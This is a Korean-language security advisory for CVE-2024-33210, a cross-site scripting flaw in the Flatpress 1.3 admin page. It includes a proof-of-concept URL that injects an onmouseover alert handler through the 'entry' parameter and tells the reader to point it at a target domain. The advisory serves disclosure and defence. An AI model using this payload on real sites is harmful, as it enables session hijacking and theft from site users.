CVE-2024-33210

Flatpress 1.3에서 XSS(교차 사이트 스크립팅) 취약점이 확인되었습니다. 이 취약점으로 인해 공격자는 다른 사용자가 보는 웹 페이지에 악성 스크립트를 주입할 수 있습니다.

취약점 유형: 교차 사이트 스크립팅 (XSS)

제품 공급업체:

flatpress CMS

영향을 받는 제품 코드 베이스:

Flatpress v1.3 - FlatPress 버전 1.3에서 수정될 예정입니다.

영향을 받는 구성 요소: URL

CVE 영향 기타: 공격자는 이 취약점을 악용하여 사용자 브라우저의 컨텍스트에서 임의 코드를 실행할 수 있으며, 민감한 정보 탈취, 세션 하이재킹, 악성코드 유포 등 다양한 악의적인 활동을 초래할 수 있습니다.

참고: https://medium.com/@Parag_Bagul/preventing-cross-site-scripting-xss-attacks-with-the-html-special-characters-function-in-php-1b9db17bcdb4 https://owasp.org/www-community/attacks/xss/

PoC:

1. 다음 URL에 접근합니다: http://127.0.0.1/flatpress-1.2.1/admin.php?p=entry&entry=bmnik"onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"vqtz3&action=write

2. "127.0.0.1"을 대상 웹사이트의 도메인 이름으로 바꿉니다.

3. XSS 취약점을 트리거하기 위해 악성 스크립트를 주입합니다.

동영상 PoC: https://drive.google.com/file/d/1CpVab51tsM-JXvgeSPzljhWbd91OTbxF/view

발견자: Parag Bagul